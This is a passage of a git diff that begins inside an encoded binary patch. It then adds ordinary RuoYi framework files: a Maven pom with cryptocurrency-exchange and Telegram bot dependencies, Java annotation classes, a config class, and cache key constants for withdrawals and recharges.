z9Q4@Xd_3Rl1^9*D&qX-sIfs@w=<#(c9Q0m-);Q=rkQd|7s+xNY+Tft~J+{R`Uwa8& zNE_Ln6ydS)HlO2oV!ZDY;;Hd=Oqa&nOt5KeJAr;C*s{9>FPspbKAro=ityNk@XG0| zpK-j;gzyh94&DzuVjN!$IfyJ^0_f{tvutf^BaH;h@{J!T96e&lnu^7$<>G z_WBfj`h>9X6~^!cUg`BJeE9^M-W53L_WT7LbUv)aS9$x@c(vDS@aF3b^CK1Y~KL?!r%8W zUhiXTz-LUfdvMV6MSJmm{=TnI3>!d>iT+CpGJn1!ql5n1S{!sg ztq%Xt`~L{f_;|8-?@%Xd<^uZsPI+k=6a@is$o(EBQf;h@Kl!+Fny)sy5_ zknP?!G6izJD^2bMdF?JT0^K$y@$$*xoZ`HTf(pEHvON>53V)61Kg4>w8?X0z10H$% zU<$vJnqt4-%)vo^a~d?lL4VhoJB7bLK1F}ypCluY-=79~Q^Lj|zXNST_5%6se{Zsn z*ZY#iAbpmQ3DDn`lI5V!Iv^`S-m8jCf&9)iP3E3t{pXR5LE1DSn}PghvpE?x_Hj1B zL4WK0D;(r^%E2kL2YGFC@@|ml1N0+{LB~cWyq+W@(BIEC#X+7q5S&UsAY*GzmV)$I zMkYYoC&|O7S^WrE57K`F8F@YUHSIy_Niqd8Pts)6%<4gN<_T=#*%Vb|3NF|iT$m;! zuLr-u&zoZR8l8{lPqAll6yTuu(p-pxjG15R^Sv`AY=3}x(h7&0YB?{|n*Q5*|70yl zn>sQB^4sAo8C_!I;Yk&o1GHrwbYL1m#@0Ya@aK`aZFmY1&$+Vs5Ol&p@AWFgLD~mJ zOe4rRtH`Aw_Z=-GmwSB$xe??(qD|yiAZ@-T>%|Z8Tn;kwdT=T03CM5Kn~)Lc{a3%o zL7$b;c}jRL$bCoWk@+Bf7LbwGgD&`$Ru8)4p!X?Vg@d#Y{=jQN#$P~2fAo3`2Ynt$ z9KYU|=?yq6dxPIW_m~o%4YK~UAoD@ip8~1<+3H#HILQ1zK}KE=ZecwH`Rp_&^Ffwx z0a@tvB62dw7^aYwApKX7DUi=^nv6i#jb3~fKtBs)1TwauH|zOdZMw?H1jzhMlF_X` zUAN)4GjHXYJa_P3eSDdcDUf-UCL^y0eepYeJ-lm5*c7DCQ_1LWJ`am=&}CPGgFJsA zxEBYl--kco^}pkw&ky+r{)mks=#PUguK_q{KLc^ldMOTCFT+8fX)_2P?8|)!4%%iY z4tMWidWW$rK%PC)oXiJ#MoIzM#_Mg#LXfc)kui{E7bkB5Sw=UL#UTBckP+y#497v* z2P5!=k0FVVpAzctYA4`}r`T^Umf))xliZ878n5;?HF(DBS^O)ne~m|852mvHnHpYm zkaI-M@%*WFPj3O+Z^nChy*GZl*YCiKy7 zW5@C0>9+4wg5NjYj_K~lLHErbz#sMcWBB7yx%$ciWTvtww88K*m7tRVE{^2Y28g z&#emj;GoZ0>Wf!DW&PJY#k&2Jz3)1FgV#6WpwGA2gzxnFE*!M}8V)+n-A{%2AkWe% zAfr8A-;39J|8;oA>skD;*N@;|Jr!p5@m=;cUhnk=ym7hp-=v)FUb*cXG{?{OdJFvA za(f=gd3e6p3-FfZwm;JfZ{zj0cwxCsZxJ4OJ*Z&atFUz-j`ymt=K%D^iz~w7E_p42 z61=p+u5Fd!i3;C_;FT42PN@n{Rrqlno~f|yMi#HHuywluk1FgKB$&aNXV@`m0bV%6 z*3}|BHbd_N3F3J13_Ff4!Aoa^>(+6+P=Le#9^J>Tha*!?Y|I*YrkZlun3RMwD}pwi)Y$2mf(q*cJ3~Tm(R58J{5T7Ogm>@ zg@f)VFUC_dZ99<0Gc)~qF<#F&`Jeq0qJeWoQv+P_!60e-)=hgAlEW0L>#%pKU z*y`{%XW2ae7yiyHo1gFEhi2J#P>BC~mc8$L`1`Z$dhQ1}$bE6ahdAgw{|E=YCY8ZK zubXG_`dPMaH{j8%aKa+yRq!<5M^D>t27BUvdD@<>{a3t?*Zbmkdi^fE`04Qc*8G;X z1b@)$58)3#9bR=A>)1c>>0W;VpX2?^#VfsDg)eF}oR{N^`!hU4gG?AmS)zVR8m=DP{s{EXc@y#?R#OgOGB_doB% zLD&CX_3TUO3x6Q$={!*|to(;oWE3dU6&1N3X|l&|~K~UOd}AFC}>(|2mZc~=K~z{od1V-#_L(Uezt8t8}Mj$c>W;HjR$j>Z*#1l0vx`X z#yBs;LC+apgu~%otZyxG&~?5Q4!WIbje}liych><-v$Rg=h+qq?f()S^tJ79&}%g9 zanNU^cfdiXr6Ugdx$A_3p6e^bLHjAfV{^hM_i%4X98b)#?~Wu6y6qZ^KRL(FRX&A- zZUf8lO7F7@f6mAGJPx|vF2}3AUW3D!2|=siB^-1-FXN!&S&PG3Ip@C)2W_(+2OZA_ z9CUlT5eIF*2?w3eoAE8)=T;p0m-Bm*Z8&KASLSfvyG=`yj6lCHUd5r?Qyh<^aM1Tn zQ!jl*CnX1FzpJUt15Ack?Zx#n#jvwQZ*Mqt2OU$+F+RgFUT;D&(d(92| zO>NXM=#3AYYoEJP94_z1@md+4nCr_3FQ04gTY*=4y$Y|M8(v(H%Ww4X)Lc6jNaMA0 z?V0>_c!n{^_3kWQKiB4e1AcU_?cW~5qq%n9PB4#g&a>;?aU2dV%H{dGID8|14c^o1 zf5LC{`b~JRdExR(+VsZzd7FFiVsBG|C+3CC7Ui}IlJmm)>GSmbWCM8=-aL@g>KGY$ zJ$PbXSPYMK&bz3Dd=R9~LuA71Nir&*7tWa==R9%v==WR`oPk641AJy@;p|7Lust;WAg6T)vJ@_SKj)${ zGFoi)UWYI4|U{&bJQM;IO?j_i|Lv3me0qJLh$5 zLPnskt-&{XpPTUQ-hKzZ)2C$@{+dloup5Wx?_nP9!9VjhpU(@cVfC()i)zS?uz)da zA~RmklJy|-p@EFN9(;ix_V+!4f5rTIFQ;AbH4Zv0-{7EQ{uck<>p$S2_5Z__2PUjaTv1vwrUr{{FLejP?PZc~+kV z6lC$}S${^ye7@7?+vhO{2R$xpgr79uwt*+(jpy5TtO*YKH@|*`pW^kVIOsO>R2+00 zei{xpJiz|;uW``twPrZzHnTYnx=sEK4(SCPubqyAj^_*`25C^Rn;h;p25eaSnaY3sa;?jr978Bag*UXb?pk@tg4 z;{#+VY+RDlv5Xu9GCv2CL*PH{^EwVCM}UlHB>5;@(kkzw$H)Z8u|SfX2=Y77N#v6t z{Xa#PgDl?)at6rnJ!g{hK&JOuav{j_T0}kv@?OuA%Ryedf?NgCW;OXDNdIfdmq4cd zWpX{p7&efbL4Ieth1?4AzT3#{AZ>P#J3;!{MeYX~&jIo+kmd3=`3^|?cgg6tHn!j_ z{A_#QpamZDdK|ynm-RLHwF~Swx!2)67KB$`!f{hi{3d&^;AXtng7EFOeBbrP`z#2* zzL@6?_QmgB5Kilh_rveEF$53bf4Air`~!b*LAa#@`)Lp1Aj>g$7zaHT`zQX$g7E1} z=)XS>GCzX>I1E_HXL%rAYRfbz!-p&gKW@kUKSOcQW4&Sc2(ORCM=|Z~>2oxm@Yg2s zu|Cdm_|yeq*%E$FG>!EH%39^MPLk1+-sUO1+~-vVKF8JI!hpRV2b9qXabbAzDcpBG35RrJ?!%mnL-t#aL8joK$9hw7&~q=-@JfHLDm=B&j_cDn z=y&~gJhL$D7?)!K{P05i-Z_GQwb1UV_!|Gw>p$U<*Mmju=Pa`4&7O?M7TI@P9KU*z zP2)BAwTtZj%{q8=A+%w#GEZ!Xs3sYP}Sp2k7(vGvTcvNZo4?z|CPF3N7E_vN} zGEmqZ+j+juV?Y7DxBY)XUhbO+1Fic&w|KV95x1d{zDTo0)6H~BOFe-BJYwQ z7l*m>yxcq-rv8C3oU}MR3i1qxV`K#DuFUHmoQya1_NU^fEw*Ry{u&2;u3a-6w9n@F zZx-9UI-T)=%&R73Gmv@JoQ%$}dT=HVI&XiAgR}|G!drO#931p{6u-msy;qu4zqIn-V^WT_1<`~_fvv{KHuhE{2?Fn z!#I2(&-eHz4*LA$M{uaWlKI&m2c5SA@KS$m8U8q)!!h+3Jh3?JdKKq!}>q)?1<@jxz{W3%Eh+MRN>W&ZM~|&H+y{xp7MGc-?=z!D$i%zg@aDlYdGk- zv3qft09js1G6G#LdlrXlLFU^!G6nKnku>?e*MA_7di@xA9NxY!ufqxQXRrT4M)1@X z%=5jA!(7nkpO8_l&yza*Eg%2e_#q#Eh`+x$ToGrUe1L!C(~`kK>scIbxteADF%B{< z!6*2qUjGaSo!-xJ(DmU99CSGz#zEJsBlwrz<|`bu&#&=%@3VpV7TISZNmjxOvAhmd zWaRZASi)yyiJxD>^Ox9hPyr5l{CFV_cCK z_#I2F&ptTl??e0IcYD1bUcA)CR)RmY)Xw8QjD!B>>!0`|OT!_ZId<-k!}2dq?i38b zLE8+(L65~s@gZIxijVNuj>JbT)#vjEqw$2-llYT9o~LloWmk@a9@|#nl}l|tSK-xO zufai&TVKLAdVLeVb*b%#Y{OGa?VkBGUdz0a`&H`j%u@T^Ulz|_X3MK!8S`+Nos*2? zrOWI)s|=64P4FD!f6m61#K%7uj+W=i^mgUyQHudNmIE%*h)3C2#XGzSY}o!$JFe1y6ZBjc1;-^AA}(dd}93;CZI~ zdAo*QfEPY**DH%~(D{EU4(pb39q{*f7jJ(V4th@Davb!WNmm?nKcO3b#q)L@?MfW< zceUMd(EXFE@M5o*;151;%k&|<)L&bMC%jD(Pd#tf1Uhnk=JOXJSET_-q;qGG`cO>!h<@Q;qz-KJCeVCbe%Ij&ocDe2A*5R4uwj8s| z!_=|mx;;sg5fmKc805$0VeEv}<75Jctj}qiB%{dcL9l}Pzrv=s0FSM(c^F?2=7a1H z7m#h>#+^Cs+LDFv<;^FzFCx2oy&D;W{dXfo{*CxpbwvXpovRC7v z``g#xAZ>zc@m};bzR}r1Z@hSgO=Ah3SYg}DBo2Dce=I(3g{>#!aY)PWd?(-&SJ<{_ z5)S&C<;ghcdNl=~y2936(a_zhLWO1rGXmpl0B3Y{JP` z1T%5a?~z$}aU8V$ z7(C%^lK9w_w%(4zLBFTQ;~>8i3?|^9^@%v>Jsy*A&^D9#e}Ug7B*_SL-(w0sb)|hj zPQ#~r`zP=xSK9Z*Q+T+rNN=UZ-A(gT8hZ4*G0_)p)hHufajLCokck z<9``n>;138LF?=3Z-c!yNk*XK*@%NK$4xls_&4LAW7vX&-p8^P2i=};!&BZqjc@n& z-GPHXA7dvDI$gW)Jw7daanNPA4+nj(*GZ7)5+un8be`|WLC1Cgf5ZDZh=cZ1i-WeQ z!$JFe6MxIwzm0>oc?SnwuinKEc|Re3++TYF|HbEXv@)Cy^4cfJJs|z>CBFh$AHF8* zLE1Es--ERIfsDK!1gqGdtg`vp0S8@|I^v-F)tzwAZB8K$dcRf?4thQ7QXF)f{Cga7 zKjnUm&N%32unP{l>@LGW`@9_Qy2_4sy5U#&7_P*-d;6>KKdiEK^^Z8{-;Rmlpnb;i z;#Ky&S%Sm%ko#KiT@`-y;3~Zz^=mRJ^?DheSQXy)7p~nTanS3zV{urYVY@dDuk?Bq zUhUITgQr&6x|+tfuL?)~FSsJuf$#J-yKvC@Yxv$(cD{5UUI+d1E)Cu!GhWZ)^{c|> zbzBQ;z$2eO!D`M0t=8x41vxnA{A`4SeqM6%W?pZOw^(iSWk_vIFm zU18!oIahWgWAHnq4=uh)

    + + \ No newline at end of file diff --git a/ruoyi-common/pom.xml b/ruoyi-common/pom.xml new file mode 100644 index 0000000..29347ac --- /dev/null +++ b/ruoyi-common/pom.xml @@ -0,0 +1,417 @@ + + + + ruoyi + com.ruoyi + 3.8.5 + + 4.0.0 + + ruoyi-common + + + common通用工具 + + + + + + + org.springframework + spring-context-support + + + + + org.springframework + spring-web + + + + + org.springframework.boot + spring-boot-starter-security + + + + + com.github.pagehelper + pagehelper-spring-boot-starter + + + + + org.springframework.boot + spring-boot-starter-validation + + + + + org.apache.commons + commons-lang3 + + + + + com.fasterxml.jackson.core + jackson-databind + + + + + com.baomidou + dynamic-datasource-spring-boot-starter + 3.5.2 + + + + + com.alibaba.fastjson2 + fastjson2 + + + + + commons-io + commons-io + + + + + org.apache.poi + poi-ooxml + + + + + org.yaml + snakeyaml + + + + + io.jsonwebtoken + jjwt + + + + + javax.xml.bind + jaxb-api + + + + + + + + + org.springframework.boot + spring-boot-starter-data-redis + + + io.lettuce + lettuce-core + + + + + + redis.clients + jedis + + + + + org.apache.commons + commons-pool2 + + + + + eu.bitwalker + UserAgentUtils + + + + + javax.servlet + javax.servlet-api + + + org.projectlombok + lombok + + + + cn.dev33 + sa-token-spring-boot-starter + 1.30.0 + + + + + cn.dev33 + sa-token-dao-redis-jackson + 1.30.0 + + + + org.telegram + telegrambotsextensions + 4.8.1 + + + + org.java-websocket + Java-WebSocket + 1.4.0 + + + + org.springframework.boot + spring-boot-starter-websocket + + + + cc.block.data + blockcc-api-client + 1.3.2 + + + + com.baomidou + mybatis-plus-boot-starter + 3.4.1 + + + + org.lionsoul + ip2region + 1.7.2 + + + + com.github.whvcse + easy-captcha + 1.6.2 + + + org.hashids + hashids + 1.0.3 + + + + + javax.mail + mail + 1.4.7 + + + + javax.activation + activation + 1.1.1 + + + org.freemarker + freemarker + 2.3.28 + + + com.belerweb + pinyin4j + 2.5.1 + + + com.aliyun.oss + aliyun-sdk-oss + 3.10.2 + + + + org.telegram + telegrambotsextensions + 4.8.1 + + + org.telegram + telegrambots + 6.0.1 + + + com.github.pengrad + java-telegram-bot-api + 6.0.1 + + + + com.github.briandilley.jsonrpc4j + jsonrpc4j + 1.4.6 + + + org.web3j + core + 4.8.7 + + + com.squareup.okhttp3 + okhttp + + + + + com.mashape.unirest + unirest-java + 1.4.9 + + + org.jetbrains.kotlin + kotlin-stdlib + 1.7.20 + + + + cn.hutool + hutool-all + 5.3.5 + + + + org.tron.trident + abi + 0.7.0 + system + ${basedir}/src/lib/abi-0.7.0.jar + + + org.tron.trident + utils + 0.7.0 + system + ${basedir}/src/lib/utils-0.7.0.jar + + + org.tron.trident + core + 0.7.0 + system + ${basedir}/src/lib/core-0.7.0.jar + + + com.google.protobuf + protobuf-java + 4.0.0-rc-2 + + + io.grpc + grpc-protobuf + 1.31.0 + + + io.grpc + grpc-core + 1.31.0 + + + + io.grpc + grpc-netty-shaded + 1.31.0 + + + io.grpc + grpc-netty + 1.31.0 + + + org.apache.tomcat + annotations-api + 6.0.53 + provided + + + io.grpc + grpc-stub + 1.31.0 + + + io.grpc + grpc-api + 1.31.0 + + + org.jetbrains.kotlin + kotlin-stdlib + 1.3.70 + + + com.warrenstrange + googleauth + 1.2.0 + + + junit + junit + 4.13.1 + test + + + ch.qos.logback + logback-classic + 1.2.3 + + + org.powermock + powermock-api-mockito + 1.7.4 + test + + + commons-lang + commons-lang + 2.6 + + + org.powermock + powermock-module-junit4 + 1.7.4 + test + + + junit + junit + + + com.alibaba + fastjson + 1.2.47 + + + com.huobi.linear.swap.api + huobi-linear-swap-api + 1.0.1 + + + io.github.binance + binance-connector-java + 3.0.0rc3 + + + + + com.google.zxing + core + 3.3.3 + + + com.google.zxing + javase + 3.3.3 + + + \ No newline at end of file diff --git a/ruoyi-common/ruoyi-common.iml b/ruoyi-common/ruoyi-common.iml new file mode 100644 index 0000000..e56703c --- /dev/null +++ b/ruoyi-common/ruoyi-common.iml @@ -0,0 +1,288 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Anonymous.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Anonymous.java new file mode 100644 index 0000000..1d6d4f4 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Anonymous.java @@ -0,0 +1,19 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * 匿名访问不鉴权注解 + * + * @author ruoyi + */ +@Target({ ElementType.METHOD, ElementType.TYPE }) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface Anonymous +{ +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataScope.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataScope.java new file mode 100644 index 0000000..be49c80 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataScope.java @@ -0,0 +1,33 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * 数据权限过滤注解 + * + * @author ruoyi + */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface DataScope +{ + /** + * 部门表的别名 + */ + public String deptAlias() default ""; + + /** + * 用户表的别名 + */ + public String userAlias() default ""; + + /** + * 权限字符(用于多个角色匹配符合要求的权限)默认根据权限注解@ss获取,多个权限用逗号分隔开来 + */ + public String permission() default ""; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataSource.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataSource.java new file mode 100644 index 0000000..79cd191 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataSource.java @@ -0,0 +1,28 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Inherited; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import com.ruoyi.common.enums.DataSourceType; + +/** + * 自定义多数据源切换注解 + * + * 优先级:先方法,后类,如果方法覆盖了类上的数据源类型,以方法的为准,否则以类上的为准 + * + * @author ruoyi + */ +@Target({ ElementType.METHOD, ElementType.TYPE }) +@Retention(RetentionPolicy.RUNTIME) +@Documented +@Inherited +public @interface DataSource +{ + /** + * 切换数据源名称 + */ + public DataSourceType value() default DataSourceType.MASTER; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excel.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excel.java new file mode 100644 index 0000000..311b1f2 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excel.java @@ -0,0 +1,189 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.math.BigDecimal; +import org.apache.poi.ss.usermodel.HorizontalAlignment; +import org.apache.poi.ss.usermodel.IndexedColors; +import com.ruoyi.common.utils.poi.ExcelHandlerAdapter; + +/** + * 自定义导出Excel数据注解 + * + * @author ruoyi + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.FIELD) +public @interface Excel +{ + /** + * 导出时在excel中排序 + */ + public int sort() default Integer.MAX_VALUE; + + /** + * 导出到Excel中的名字. + */ + public String name() default ""; + + /** + * 日期格式, 如: yyyy-MM-dd + */ + public String dateFormat() default ""; + + /** + * 如果是字典类型,请设置字典的type值 (如: sys_user_sex) + */ + public String dictType() default ""; + + public String enumType() default ""; + + /** + * 读取内容转表达式 (如: 0=男,1=女,2=未知) + */ + public String readConverterExp() default ""; + + /** + * 分隔符,读取字符串组内容 + */ + public String separator() default ","; + + /** + * BigDecimal 精度 默认:-1(默认不开启BigDecimal格式化) + */ + public int scale() default -1; + + /** + * BigDecimal 舍入规则 默认:BigDecimal.ROUND_HALF_EVEN + */ + public int roundingMode() default BigDecimal.ROUND_HALF_EVEN; + + /** + * 导出时在excel中每个列的高度 单位为字符 + */ + public double height() default 14; + + /** + * 导出时在excel中每个列的宽 单位为字符 + */ + public double width() default 16; + + /** + * 文字后缀,如% 90 变成90% + */ + public String suffix() default ""; + + /** + * 当值为空时,字段的默认值 + */ + public String defaultValue() default ""; + + /** + * 提示信息 + */ + public String prompt() default ""; + + /** + * 设置只能选择不能输入的列内容. + */ + public String[] combo() default {}; + + /** + * 是否需要纵向合并单元格,应对需求:含有list集合单元格) + */ + public boolean needMerge() default false; + + /** + * 是否导出数据,应对需求:有时我们需要导出一份模板,这是标题需要但内容需要用户手工填写. + */ + public boolean isExport() default true; + + /** + * 另一个类中的属性名称,支持多级获取,以小数点隔开 + */ + public String targetAttr() default ""; + + /** + * 是否自动统计数据,在最后追加一行统计数据总和 + */ + public boolean isStatistics() default false; + + /** + * 导出类型(0数字 1字符串 2图片) + */ + public ColumnType cellType() default ColumnType.STRING; + + /** + * 导出列头背景色 + */ + public IndexedColors headerBackgroundColor() default IndexedColors.GREY_50_PERCENT; + + /** + * 导出列头字体颜色 + */ + public IndexedColors headerColor() default IndexedColors.WHITE; + + /** + * 导出单元格背景色 + */ + public IndexedColors backgroundColor() default IndexedColors.WHITE; + + /** + * 导出单元格字体颜色 + */ + public IndexedColors color() default IndexedColors.BLACK; + + /** + * 导出字段对齐方式 + */ + public HorizontalAlignment align() default HorizontalAlignment.CENTER; + + /** + * 自定义数据处理器 + */ + public Class handler() default ExcelHandlerAdapter.class; + + /** + * 自定义数据处理器参数 + */ + public String[] args() default {}; + + /** + * 字段类型(0:导出导入;1:仅导出;2:仅导入) + */ + Type type() default Type.ALL; + + public enum Type + { + ALL(0), EXPORT(1), IMPORT(2); + private final int value; + + Type(int value) + { + this.value = value; + } + + public int value() + { + return this.value; + } + } + + public enum ColumnType + { + NUMERIC(0), STRING(1), IMAGE(2); + private final int value; + + ColumnType(int value) + { + this.value = value; + } + + public int value() + { + return this.value; + } + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excels.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excels.java new file mode 100644 index 0000000..1f1cc81 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excels.java @@ -0,0 +1,18 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * Excel注解集 + * + * @author ruoyi + */ +@Target(ElementType.FIELD) +@Retention(RetentionPolicy.RUNTIME) +public @interface Excels +{ + public Excel[] value(); +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Log.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Log.java new file mode 100644 index 0000000..1eb8e49 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Log.java @@ -0,0 +1,51 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.enums.OperatorType; + +/** + * 自定义操作日志记录注解 + * + * @author ruoyi + * + */ +@Target({ ElementType.PARAMETER, ElementType.METHOD }) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface Log +{ + /** + * 模块 + */ + public String title() default ""; + + /** + * 功能 + */ + public BusinessType businessType() default BusinessType.OTHER; + + /** + * 操作人类别 + */ + public OperatorType operatorType() default OperatorType.MANAGE; + + /** + * 是否保存请求的参数 + */ + public boolean isSaveRequestData() default true; + + /** + * 是否保存响应的参数 + */ + public boolean isSaveResponseData() default true; + + /** + * 排除指定的请求参数 + */ + public String[] excludeParamNames() default {}; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RateLimiter.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RateLimiter.java new file mode 100644 index 0000000..0f024c7 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RateLimiter.java @@ -0,0 +1,40 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.enums.LimitType; + +/** + * 限流注解 + * + * @author ruoyi + */ +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface RateLimiter +{ + /** + * 限流key + */ + public String key() default CacheConstants.RATE_LIMIT_KEY; + + /** + * 限流时间,单位秒 + */ + public int time() default 60; + + /** + * 限流次数 + */ + public int count() default 100; + + /** + * 限流类型 + */ + public LimitType limitType() default LimitType.DEFAULT; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RepeatSubmit.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RepeatSubmit.java new file mode 100644 index 0000000..b769748 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RepeatSubmit.java @@ -0,0 +1,31 @@ +package com.ruoyi.common.annotation; + +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Inherited; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * 自定义注解防止表单重复提交 + * + * @author ruoyi + * + */ +@Inherited +@Target(ElementType.METHOD) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface RepeatSubmit +{ + /** + * 间隔时间(ms),小于此时间视为重复提交 + */ + public int interval() default 5000; + + /** + * 提示消息 + */ + public String message() default "不允许重复提交,请稍候再试"; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java b/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java new file mode 100644 index 0000000..c65ea72 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java @@ -0,0 +1,148 @@ +package com.ruoyi.common.config; + +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +/** + * 读取项目相关配置 + * + * @author ruoyi + */ +@Component +@ConfigurationProperties(prefix = "ruoyi") +public class RuoYiConfig +{ + /** 项目名称 */ + private String name; + + private static String googleHost; + + + /** 版本 */ + private String version; + + /** 版权年份 */ + private String copyrightYear; + + /** 实例演示开关 */ + private boolean demoEnabled; + + /** 上传路径 */ + private static String profile; + + /** 获取地址开关 */ + private static boolean addressEnabled; + + /** 验证码类型 */ + private static String captchaType; + + public String getName() + { + return name; + } + + public void setName(String name) + { + this.name = name; + } + + public String getVersion() + { + return version; + } + + public void setVersion(String version) + { + this.version = version; + } + + public String getCopyrightYear() + { + return copyrightYear; + } + + public void setCopyrightYear(String copyrightYear) + { + this.copyrightYear = copyrightYear; + } + + public boolean isDemoEnabled() + { + return demoEnabled; + } + + public void setDemoEnabled(boolean demoEnabled) + { + this.demoEnabled = demoEnabled; + } + + public static String getProfile() + { + return profile; + } + + public void setProfile(String profile) + { + RuoYiConfig.profile = profile; + } + + public static boolean isAddressEnabled() + { + return addressEnabled; + } + + public void setAddressEnabled(boolean addressEnabled) + { + RuoYiConfig.addressEnabled = addressEnabled; + } + + public static String getCaptchaType() { + return captchaType; + } + + public void setCaptchaType(String captchaType) { + RuoYiConfig.captchaType = captchaType; + } + + public static String getGoogleHost() { + return googleHost; + } + + public void setGoogleHost(String googleHost) { + this.googleHost = googleHost; + } + + /** + * 获取导入上传路径 + */ + public static String getImportPath() + { + return getProfile() + "/import"; + } + + /** + * 获取头像上传路径 + */ + public static String getAvatarPath() + { + return getProfile() + "/avatar"; + } + + /** + * 获取下载路径 + */ + public static String getDownloadPath() + { + return getProfile() + "/download/"; + } + + /** + * 获取上传路径 + */ + public static String getUploadPath() + { + return getProfile() + "/upload"; + } + + +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/CacheConstants.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/CacheConstants.java new file mode 100644 index 0000000..8ede5d2 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/constant/CacheConstants.java @@ -0,0 +1,74 @@ +package com.ruoyi.common.constant; + +/** + * 缓存的key 常量 + * + * @author ruoyi + */ +public class CacheConstants +{ + /** + * 登录用户 redis key + */ + public static final String LOGIN_TOKEN_KEY = "login_tokens:"; + + /** + * 验证码 redis key + */ + public static final String CAPTCHA_CODE_KEY = "captcha_codes:"; + + /** + * 参数管理 cache key + */ + public static final String SYS_CONFIG_KEY = "sys_config:"; + + /** + * 字典管理 cache key + */ + public static final String SYS_DICT_KEY = "sys_dict:"; + + /** + * 防重提交 redis key + */ + public static final String REPEAT_SUBMIT_KEY = "repeat_submit:"; + + /** + * 限流 redis key + */ + public static final String RATE_LIMIT_KEY = "rate_limit:"; + + /** + * 登录账户密码错误次数 redis key + */ + public static final String PWD_ERR_CNT_KEY = "pwd_err_cnt:"; + + /** + * 验证码失效时间 + */ + public static final int REGISTER_CODE_TIME = 5* 60; + /** + * 充值次数 + */ + public static final String WITHDRAW = "withdraw:"; + /** + * 充值消息KEY + */ + public static final String WITHDRAW_KEY = "withdraw_key"; + /** + * 提现消息KEY + */ + public static final String RECHARGE_KEY = "recharge_key"; + /** + * 实名认证消息KEY + */ + public static final String VERIFIED_KEY = "verified_key"; + + /** + * 充值消息KEY + */ + public static final String WITHDRAW_KEY_BOT = "withdraw_key_bot"; + /** + * 提现消息KEY + */ + public static final String 